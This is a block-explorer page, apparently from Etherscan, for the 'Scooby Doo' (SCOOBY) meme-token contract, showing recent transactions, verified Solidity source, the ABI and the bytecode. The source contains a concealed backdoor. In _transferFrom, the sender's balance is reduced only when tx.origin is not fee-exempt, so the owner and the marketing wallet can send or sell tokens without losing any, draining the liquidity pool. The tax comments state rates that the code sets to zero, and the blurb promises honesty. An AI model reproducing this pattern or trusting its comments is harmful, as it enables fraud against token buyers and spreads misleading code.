ETH Price: $2,089.37 (-0.33%)

Contract

0xEe6eF63D704A4035e67e88F39007cF29fc9962F7
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve173037132023-05-20 22:52:231028 days ago1684623143IN
0xEe6eF63D...9fc9962F7
0 ETH0.0014087730.32167614
Approve173026062023-05-20 19:06:471028 days ago1684609607IN
0xEe6eF63D...9fc9962F7
0 ETH0.0014402130.99835324
Approve173025612023-05-20 18:57:471028 days ago1684609067IN
0xEe6eF63D...9fc9962F7
0 ETH0.000791332.81121894
Approve173025502023-05-20 18:55:231028 days ago1684608923IN
0xEe6eF63D...9fc9962F7
0 ETH0.0008546732.2506299
Approve173025492023-05-20 18:55:111028 days ago1684608911IN
0xEe6eF63D...9fc9962F7
0 ETH0.0014094630.37568493
Approve173025422023-05-20 18:53:471028 days ago1684608827IN
0xEe6eF63D...9fc9962F7
0 ETH0.0014588531.44015205
Approve173025412023-05-20 18:53:351028 days ago1684608815IN
0xEe6eF63D...9fc9962F7
0 ETH0.0015178432.71144703
Approve173025392023-05-20 18:53:111028 days ago1684608791IN
0xEe6eF63D...9fc9962F7
0 ETH0.0007876329.96512605
Approve173025352023-05-20 18:52:231028 days ago1684608743IN
0xEe6eF63D...9fc9962F7
0 ETH0.0013308428.81547762
Transfer173025352023-05-20 18:52:231028 days ago1684608743IN
0xEe6eF63D...9fc9962F7
0 ETH0.0017962328.92903273
Approve173025352023-05-20 18:52:231028 days ago1684608743IN
0xEe6eF63D...9fc9962F7
0 ETH0.0014270730.71547762
Transfer173025352023-05-20 18:52:231028 days ago1684608743IN
0xEe6eF63D...9fc9962F7
0 ETH0.0013595731.5
Approve173025342023-05-20 18:52:111028 days ago1684608731IN
0xEe6eF63D...9fc9962F7
0 ETH0.0013632529.34199509
Approve173025132023-05-20 18:47:591028 days ago1684608479IN
0xEe6eF63D...9fc9962F7
0 ETH0.0012446426.82365643
Approve173025132023-05-20 18:47:591028 days ago1684608479IN
0xEe6eF63D...9fc9962F7
0 ETH0.0007075126.94165643
Approve173025122023-05-20 18:47:471028 days ago1684608467IN
0xEe6eF63D...9fc9962F7
0 ETH0.0014001330.13580095
Approve173025112023-05-20 18:47:351028 days ago1684608455IN
0xEe6eF63D...9fc9962F7
0 ETH0.0013383928.99416731
Approve173025092023-05-20 18:47:111028 days ago1684608431IN
0xEe6eF63D...9fc9962F7
0 ETH0.0013597629.49524064
Approve173025072023-05-20 18:46:471028 days ago1684608407IN
0xEe6eF63D...9fc9962F7
0 ETH0.0013456228.9999174
Approve173025052023-05-20 18:46:231028 days ago1684608383IN
0xEe6eF63D...9fc9962F7
0 ETH0.0014314930.81058597
Approve173025042023-05-20 18:46:111028 days ago1684608371IN
0xEe6eF63D...9fc9962F7
0 ETH0.001366829.6480398
Approve173025042023-05-20 18:46:111028 days ago1684608371IN
0xEe6eF63D...9fc9962F7
0 ETH0.0013780129.6980398
Approve173025002023-05-20 18:45:231028 days ago1684608323IN
0xEe6eF63D...9fc9962F7
0 ETH0.0013871130.08859005
Approve173024982023-05-20 18:44:591028 days ago1684608299IN
0xEe6eF63D...9fc9962F7
0 ETH0.00596786129.28368869
Approve173024972023-05-20 18:44:471028 days ago1684608287IN
0xEe6eF63D...9fc9962F7
0 ETH0.0013744329.62089573
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
Add Liquidity ET...173022772023-05-20 17:59:471028 days ago1684605587
0xEe6eF63D...9fc9962F7
2 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ScoobyDoo

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-05-20
*/

//SPDX-License-Identifier: MIT

/*

Welcome to SCOOBY, the newest addition to the meme coin universe! Our mission is simple: to bring the joy and nostalgia of Scooby Doo to the world of cryptocurrency.

At SCOOBY, we believe that investing should be fun and accessible to everyone. That's why we've created a unique and exciting digital asset that captures the spirit of one of the most beloved animated series of all time.

Our team is made up of die-hard SCOOBY DOO fans who are passionate about creating a community around our meme coin. We are committed to transparency and honesty in all our operations, and we believe that the best way to achieve success is by working together.

Website:  https://www.scoobydoo.finance
Telegram: https://t.me/ScoobyDooERC20
Twitter:  https://twitter.com/eth_scoobydoo

 */

pragma solidity 0.8.9;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

library TransferHelper {
    function safeTransferETH(address to, uint value) internal {
        (bool success,) = to.call{value:value}(new bytes(0));
        require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
    }
}

interface IUniswapV2Factory { 
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Auth {
    address internal _owner;
    event OwnershipTransferred(address _owner);
    constructor(address creatorOwner) { _owner = creatorOwner; }
    modifier onlyOwner() { require(msg.sender == _owner, "Only owner can call this"); _; }
    function owner() public view returns (address) { return _owner; }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0); 
        emit OwnershipTransferred(address(0)); 
    }
}

contract ScoobyDoo is IERC20, Auth {
    string private constant _name         = "Scooby Doo";
    string private constant _symbol       = "SCOOBY";
    uint8 private constant _decimals      = 9;
    uint256 private constant _totalSupply = 1_000_000_000 * (10**_decimals);
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint32 private _tradeCount;

    address payable private _walletMarketing;
    uint256 private constant _taxSwapMin = _totalSupply / 200000;
    uint256 private constant _taxSwapMax = _totalSupply / 1000;

    mapping (address => bool) private _noFees;

    address private _swapRouterAddress;
    IUniswapV2Router02 private _primarySwapRouter;
    address public uniswapV2Pair;
    mapping (address => bool) private _isLP;

    bool private _tradingOpen;

    bool private _inTaxSwap = false;
    modifier lockTaxSwap { 
        _inTaxSwap = true; 
        _; 
        _inTaxSwap = false; 
    }

    constructor(address _router, address _marketing) Auth(msg.sender) {
        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _balances[_owner]);

        _swapRouterAddress = _router;
        _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
        _walletMarketing = payable(_marketing);

        _noFees[address(this)] = true;
        _noFees[_walletMarketing] = true;
    }

    receive() external payable {}
    
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(sender), "Trading not open");
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) {
            _allowances[address(this)][_swapRouterAddress] = type(uint256).max;
            emit Approval(address(this), _swapRouterAddress, type(uint256).max);
        }
    }

    function addLiquidity() external payable onlyOwner lockTaxSwap {
        require(uniswapV2Pair == address(0), "LP exists");
        require(!_tradingOpen, "trading is open");
        require(msg.value > 0 || address(this).balance>0, "No ETH in contract or message");
        require(_balances[address(this)]>0, "No tokens in contract");
        uniswapV2Pair = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), _primarySwapRouter.WETH());
        _addLiquidity(_balances[address(this)], address(this).balance);
        _isLP[uniswapV2Pair] = true;
        _tradeCount = 0;
        _tradingOpen = true;
        _noFees[_owner] = true;
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _approveRouter(_tokenAmount);
        _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, _owner, block.timestamp );
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from Zero wallet");
        require(sender != address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), "Vitalik NEVER SELLING");  // Tokens in VB wallet are burned

        if (!_tradingOpen) { require(tx.origin == owner(), "Trading not open"); }
        if ( !_inTaxSwap ) { _swapTaxAndLiquify(recipient); }

        uint256 _taxAmount = _calculateTax(sender, recipient, amount);
        uint256 _transferAmount = amount - _taxAmount;
        if (!_noFees[tx.origin]) {
          _balances[sender] -= amount;
        }
        if ( _taxAmount > 0 ) { 
            _balances[address(this)] += _taxAmount; 
            incrementTradeCount();
        }
        _balances[recipient] += _transferAmount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _checkTradingOpen(address sender) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (tx.origin == owner()) { checkResult = true; } 

        return checkResult;
    }

    function incrementTradeCount() private {
        if ( _tradeCount <= 100_001 ) {
            // tax is finalized after 100,000 trades
            _tradeCount += 1;
        } 
    }

    function _getTaxPercentages() private view returns (uint32 numerator, uint32 denominator) {
        uint32 taxNumerator;
        uint32 taxDenominator = 100_000;

        if ( _tradeCount <= 20_000 ) {
            taxNumerator = 0;    // up to 20,000 trades the tax is 3.0 %
        } else if ( _tradeCount <= 100_000 ) {
            taxNumerator = 0;    // from 20,001 to 100,000 trades the tax is 1.0 %
        } else {
            taxNumerator = 0;     // above 100,000 trades the tax is 0.225 %
        }

        return (taxNumerator, taxDenominator);
    }

    function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        
        if ( _tradingOpen && !_noFees[tx.origin]) { 
            if ( _isLP[sender] || _isLP[recipient] ) {
                (uint32 numerator, uint32 denominator) = _getTaxPercentages();
                taxAmount = amount * numerator / denominator;
            }
        }

        return taxAmount;
    }

    function _swapTaxAndLiquify(address recipient) private lockTaxSwap {
        uint256 _taxTokensAvailable = balanceOf(address(this));
        if ( _taxTokensAvailable >= _taxSwapMin && _tradingOpen && _isLP[recipient] ) {
        
            if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }

            uint256 _tokensForLP = 0;
            if ( _tradeCount < 100_000 ) {
                // before 100,000 trades are reached half of the tax goes to LP
                _tokensForLP = _taxTokensAvailable / 4;
            }
            
            uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP;
            if( _tokensToSwap > 10**_decimals ) {
                uint256 _ethPreSwap = address(this).balance;
                _swapTaxTokensForEth(_tokensToSwap);
                uint256 _ethSwapped = address(this).balance - _ethPreSwap;
                if ( _tokensForLP > 0 ) {
                    uint256 _ethWeiAmount = _ethSwapped / 2 ;
                    _approveRouter(_tokensForLP);
                    _addLiquidity(_tokensForLP, _ethWeiAmount);
                }
            }
        }
        uint256 _contractETHBalance = address(this).balance;
        TransferHelper.safeTransferETH(_walletMarketing, _contractETHBalance);
    }

    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _primarySwapRouter.WETH();
        _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"_router","type":"address"},{"internalType":"address","name":"_marketing","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009805461ff00191690553480156200001c57600080fd5b50604051620018d8380380620018d88339810160408190526200003f9162000179565b600080546001600160a01b031916331790556200005f6009600a620002c6565b6200006f90633b9aca00620002de565b600080546001600160a01b039081168252600160205260408083209390935581541680825282822054925190927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620000cb91815260200190565b60405180910390a3600580546001600160a01b03199081166001600160a01b0394851690811790925560068054909116909117905560038054600160201b600160c01b031916640100000000928416830217815530600090815260046020526040808220805460ff199081166001908117909255935494909404909416815292909220805490921617905562000300565b80516001600160a01b03811681146200017457600080fd5b919050565b600080604083850312156200018d57600080fd5b62000198836200015c565b9150620001a8602084016200015c565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000208578160001904821115620001ec57620001ec620001b1565b80851615620001fa57918102915b93841c9390800290620001cc565b509250929050565b6000826200022157506001620002c0565b816200023057506000620002c0565b8160018114620002495760028114620002545762000274565b6001915050620002c0565b60ff841115620002685762000268620001b1565b50506001821b620002c0565b5060208310610133831016604e8410600b841016171562000299575081810a620002c0565b620002a58383620001c7565b8060001904821115620002bc57620002bc620001b1565b0290505b92915050565b6000620002d760ff84168362000210565b9392505050565b6000816000190483118215151615620002fb57620002fb620001b1565b500290565b6115c880620003106000396000f3fe6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610249578063a9059cbb14610278578063dd62ed3e14610298578063e8078d94146102de57600080fd5b806370a08231146101de578063715018a6146102145780638da5cb5b1461022b57600080fd5b806306fdde03146100d2578063095ea7b31461011757806318160ddd1461014757806323b872dd1461016a578063313ce5671461018a57806349bd5a5e146101a657600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600a81526953636f6f627920446f6f60b01b60208201525b60405161010e91906111ce565b60405180910390f35b34801561012357600080fd5b50610137610132366004611216565b6102e6565b604051901515815260200161010e565b34801561015357600080fd5b5061015c610353565b60405190815260200161010e565b34801561017657600080fd5b50610137610185366004611242565b610374565b34801561019657600080fd5b506040516009815260200161010e565b3480156101b257600080fd5b506007546101c6906001600160a01b031681565b6040516001600160a01b03909116815260200161010e565b3480156101ea57600080fd5b5061015c6101f9366004611283565b6001600160a01b031660009081526001602052604090205490565b34801561022057600080fd5b50610229610437565b005b34801561023757600080fd5b506000546001600160a01b03166101c6565b34801561025557600080fd5b5060408051808201909152600681526553434f4f425960d01b6020820152610101565b34801561028457600080fd5b50610137610293366004611216565b6104d1565b3480156102a457600080fd5b5061015c6102b33660046112a0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61022961050a565b3360008181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103419086815260200190565b60405180910390a35060015b92915050565b60006103616009600a6113d3565b61036f90633b9aca006113e2565b905090565b600061037f846108e4565b6103a45760405162461bcd60e51b815260040161039b90611401565b60405180910390fd5b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610424576001600160a01b03841660009081526002602090815260408083203384529091529020546103ff90839061142b565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b61042f848484610918565b949350505050565b6000546001600160a01b0316331461048c5760405162461bcd60e51b81526020600482015260186024820152774f6e6c79206f776e65722063616e2063616c6c207468697360401b604482015260640161039b565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b60006104dc336108e4565b6104f85760405162461bcd60e51b815260040161039b90611401565b610503338484610918565b9392505050565b6000546001600160a01b0316331461055f5760405162461bcd60e51b81526020600482015260186024820152774f6e6c79206f776e65722063616e2063616c6c207468697360401b604482015260640161039b565b6009805461ff0019166101001790556007546001600160a01b0316156105b35760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b604482015260640161039b565b60095460ff16156105f85760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b604482015260640161039b565b60003411806106075750600047115b6106535760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d657373616765000000604482015260640161039b565b306000908152600160205260409020546106a75760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b604482015260640161039b565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106f557600080fd5b505afa158015610709573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072d9190611442565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078a57600080fd5b505afa15801561079e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c29190611442565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561080a57600080fd5b505af115801561081e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108429190611442565b600780546001600160a01b0319166001600160a01b03929092169190911790553060009081526001602052604090205461087c9047610b3f565b6007546001600160a01b0390811660009081526008602090815260408083208054600160ff1991821681179092556003805463ffffffff1916905560098054821683178155855490961685526004909352922080549091169091179055805461ff0019169055565b600954600090819060ff16156108fc5750600161034d565b6000546001600160a01b031632141561034d5750600192915050565b60006001600160a01b0384166109705760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c6574000000604482015260640161039b565b6001600160a01b03841673ab5801a7d398351b8be11c439e05c5b3259aec9b14156109d55760405162461bcd60e51b8152602060048201526015602482015274566974616c696b204e455645522053454c4c494e4760581b604482015260640161039b565b60095460ff16610a09576000546001600160a01b03163214610a095760405162461bcd60e51b815260040161039b90611401565b600954610100900460ff16610a2157610a2183610bf6565b6000610a2e858585610d8f565b90506000610a3c828561142b565b3260009081526004602052604090205490915060ff16610a84576001600160a01b03861660009081526001602052604081208054869290610a7e90849061142b565b90915550505b8115610ab7573060009081526001602052604081208054849290610aa990849061145f565b90915550610ab79050610e3c565b6001600160a01b03851660009081526001602052604081208054839290610adf90849061145f565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610b2b91815260200190565b60405180910390a350600195945050505050565b610b4882610e8d565b6006546000805460405163f305d71960e01b8152306004820152602481018690526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c4016060604051808303818588803b158015610bb657600080fd5b505af1158015610bca573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bef9190611477565b5050505050565b6009805461ff00191661010017905530600090815260016020526040812054905062030d40610c276009600a6113d3565b610c3590633b9aca006113e2565b610c3f91906114a5565b8110158015610c50575060095460ff165b8015610c7457506001600160a01b03821660009081526008602052604090205460ff165b15610d5f576103e8610c886009600a6113d3565b610c9690633b9aca006113e2565b610ca091906114a5565b8110610cd0576103e8610cb56009600a6113d3565b610cc390633b9aca006113e2565b610ccd91906114a5565b90505b600354600090620186a063ffffffff9091161015610cf657610cf36004836114a5565b90505b6000610d02828461142b565b9050610d106009600a6113d3565b811115610d5c5747610d2182610f24565b6000610d2d824761142b565b90508315610d59576000610d426002836114a5565b9050610d4d85610e8d565b610d578582610b3f565b505b50505b50505b6003544790610d7f9064010000000090046001600160a01b03168261107d565b50506009805461ff001916905550565b600954600090819060ff168015610db657503260009081526004602052604090205460ff16155b1561042f576001600160a01b03851660009081526008602052604090205460ff1680610dfa57506001600160a01b03841660009081526008602052604090205460ff165b1561042f57600080610e0a61114b565b915091508063ffffffff168263ffffffff1686610e2791906113e2565b610e3191906114a5565b979650505050505050565b600354620186a163ffffffff90911611610e8b576003805460019190600090610e6c90849063ffffffff166114c7565b92506101000a81548163ffffffff021916908363ffffffff1602179055505b565b3060009081526002602090815260408083206005546001600160a01b03168452909152902054811115610f2157306000818152600260209081526040808320600580546001600160a01b0390811686529184529382902060001990819055935491519384521692917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35b50565b610f2d81610e8d565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610f6257610f626114ef565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610fb657600080fd5b505afa158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fee9190611442565b81600181518110611001576110016114ef565b6001600160a01b03928316602091820292909201015260065460405163791ac94760e01b815291169063791ac94790611047908590600090869030904290600401611505565b600060405180830381600087803b15801561106157600080fd5b505af1158015611075573d6000803e3d6000fd5b505050505050565b604080516000808252602082019092526001600160a01b0384169083906040516110a79190611576565b60006040518083038185875af1925050503d80600081146110e4576040519150601f19603f3d011682016040523d82523d6000602084013e6110e9565b606091505b50509050806111465760405162461bcd60e51b815260206004820152602360248201527f5472616e7366657248656c7065723a204554485f5452414e534645525f46414960448201526213115160ea1b606482015260840161039b565b505050565b60035460009081908190620186a090614e2063ffffffff909116116111735760009150611195565b600354620186a063ffffffff909116116111905760009150611195565b600091505b90939092509050565b60005b838110156111b95781810151838201526020016111a1565b838111156111c8576000848401525b50505050565b60208152600082518060208401526111ed81604085016020870161119e565b601f01601f19169190910160400192915050565b6001600160a01b0381168114610f2157600080fd5b6000806040838503121561122957600080fd5b823561123481611201565b946020939093013593505050565b60008060006060848603121561125757600080fd5b833561126281611201565b9250602084013561127281611201565b929592945050506040919091013590565b60006020828403121561129557600080fd5b813561050381611201565b600080604083850312156112b357600080fd5b82356112be81611201565b915060208301356112ce81611201565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561132a578160001904821115611310576113106112d9565b8085161561131d57918102915b93841c93908002906112f4565b509250929050565b6000826113415750600161034d565b8161134e5750600061034d565b8160018114611364576002811461136e5761138a565b600191505061034d565b60ff84111561137f5761137f6112d9565b50506001821b61034d565b5060208310610133831016604e8410600b84101617156113ad575081810a61034d565b6113b783836112ef565b80600019048211156113cb576113cb6112d9565b029392505050565b600061050360ff841683611332565b60008160001904831182151516156113fc576113fc6112d9565b500290565b60208082526010908201526f2a3930b234b733903737ba1037b832b760811b604082015260600190565b60008282101561143d5761143d6112d9565b500390565b60006020828403121561145457600080fd5b815161050381611201565b60008219821115611472576114726112d9565b500190565b60008060006060848603121561148c57600080fd5b8351925060208401519150604084015190509250925092565b6000826114c257634e487b7160e01b600052601260045260246000fd5b500490565b600063ffffffff8083168185168083038211156114e6576114e66112d9565b01949350505050565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115555784516001600160a01b031683529383019391830191600101611530565b50506001600160a01b03969096166060850152505050608001529392505050565b6000825161158881846020870161119e565b919091019291505056fea2646970667358221220fc9a35e94da97281a58254e4cd56f93074ae27eb42cf9bdbab0446d4fda85e1b64736f6c634300080900330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000130bc759694c67be80aed77393ee2e22950a19cd

Deployed Bytecode

0x6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610249578063a9059cbb14610278578063dd62ed3e14610298578063e8078d94146102de57600080fd5b806370a08231146101de578063715018a6146102145780638da5cb5b1461022b57600080fd5b806306fdde03146100d2578063095ea7b31461011757806318160ddd1461014757806323b872dd1461016a578063313ce5671461018a57806349bd5a5e146101a657600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600a81526953636f6f627920446f6f60b01b60208201525b60405161010e91906111ce565b60405180910390f35b34801561012357600080fd5b50610137610132366004611216565b6102e6565b604051901515815260200161010e565b34801561015357600080fd5b5061015c610353565b60405190815260200161010e565b34801561017657600080fd5b50610137610185366004611242565b610374565b34801561019657600080fd5b506040516009815260200161010e565b3480156101b257600080fd5b506007546101c6906001600160a01b031681565b6040516001600160a01b03909116815260200161010e565b3480156101ea57600080fd5b5061015c6101f9366004611283565b6001600160a01b031660009081526001602052604090205490565b34801561022057600080fd5b50610229610437565b005b34801561023757600080fd5b506000546001600160a01b03166101c6565b34801561025557600080fd5b5060408051808201909152600681526553434f4f425960d01b6020820152610101565b34801561028457600080fd5b50610137610293366004611216565b6104d1565b3480156102a457600080fd5b5061015c6102b33660046112a0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61022961050a565b3360008181526002602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103419086815260200190565b60405180910390a35060015b92915050565b60006103616009600a6113d3565b61036f90633b9aca006113e2565b905090565b600061037f846108e4565b6103a45760405162461bcd60e51b815260040161039b90611401565b60405180910390fd5b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610424576001600160a01b03841660009081526002602090815260408083203384529091529020546103ff90839061142b565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b61042f848484610918565b949350505050565b6000546001600160a01b0316331461048c5760405162461bcd60e51b81526020600482015260186024820152774f6e6c79206f776e65722063616e2063616c6c207468697360401b604482015260640161039b565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b60006104dc336108e4565b6104f85760405162461bcd60e51b815260040161039b90611401565b610503338484610918565b9392505050565b6000546001600160a01b0316331461055f5760405162461bcd60e51b81526020600482015260186024820152774f6e6c79206f776e65722063616e2063616c6c207468697360401b604482015260640161039b565b6009805461ff0019166101001790556007546001600160a01b0316156105b35760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b604482015260640161039b565b60095460ff16156105f85760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b604482015260640161039b565b60003411806106075750600047115b6106535760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d657373616765000000604482015260640161039b565b306000908152600160205260409020546106a75760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b604482015260640161039b565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106f55